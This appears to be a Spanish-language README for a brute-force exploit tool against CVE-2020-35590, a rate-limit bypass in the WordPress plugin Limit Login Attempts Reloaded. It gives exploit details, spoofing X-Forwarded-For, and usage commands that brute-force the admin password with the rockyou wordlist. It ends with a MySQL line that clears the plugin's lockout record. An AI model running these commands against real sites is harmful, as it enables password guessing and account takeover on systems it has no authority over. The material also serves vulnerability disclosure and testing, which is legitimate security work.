n4nj0/cve-2020-35590Herramienta de fuerza bruta para el plugin de WordPress Limit Login Attempts Reloaded >=2.13.0 - Bypass del límite de inicio de sesión (CVE-2020-35590)
Título del exploit: Plugin de WordPress Limit Login Attempts Reloaded 2.13.0 - Bypass del límite de inicio de sesión
CVE: CVE-2020-35590
Fecha: 2020-06-09
Autor del exploit: N4nj0
Enlace del software: https://wordpress.org/plugins/limit-login-attempts-reloaded/
Versión: 2.13.0
Probado en: WordPress 5.4.1, 5.4.2
Aviso de vulnerabilidad: https://n4nj0.github.io/advisories/wordpress-plugin-limit-login-attempts-reloaded/
El plugin de WordPress afectado está diseñado para ser un mecanismo de protección contra ataques de fuerza bruta y se encuentra actualmente instalado en más de 1 millón de instalaciones activas.
He encontrado un bypass de la limitación de velocidad bajo una configuración no predeterminada, lo que efectivamente anula el propósito del plugin.
./wp-brute.py -c -u http://wordpress -H X-Forwarded-For -l admin -P /usr/share/wordlists/rockyou.txt
./wp-brute.py --check --url http://wordpress --header X-Forwarded-For --login admin --passwordlist /usr/share/wordlists/rockyou.txt --quiet
./wp-brute.py -e -u http://wordpress -H X-Forwarded-For -l admin -P /usr/share/wordlists/rockyou.txt -q
./wp-brute.py --exploit --url http://wordpress --header X-Forwarded-For --login admin --passwordlist /usr/share/wordlists/rockyou.txt --quiet
mysql -uroot -ppassword wordpress -e "UPDATE wp_options SET option_value = '' WHERE option_name = 'limit_login_lockouts' LIMIT 1;"
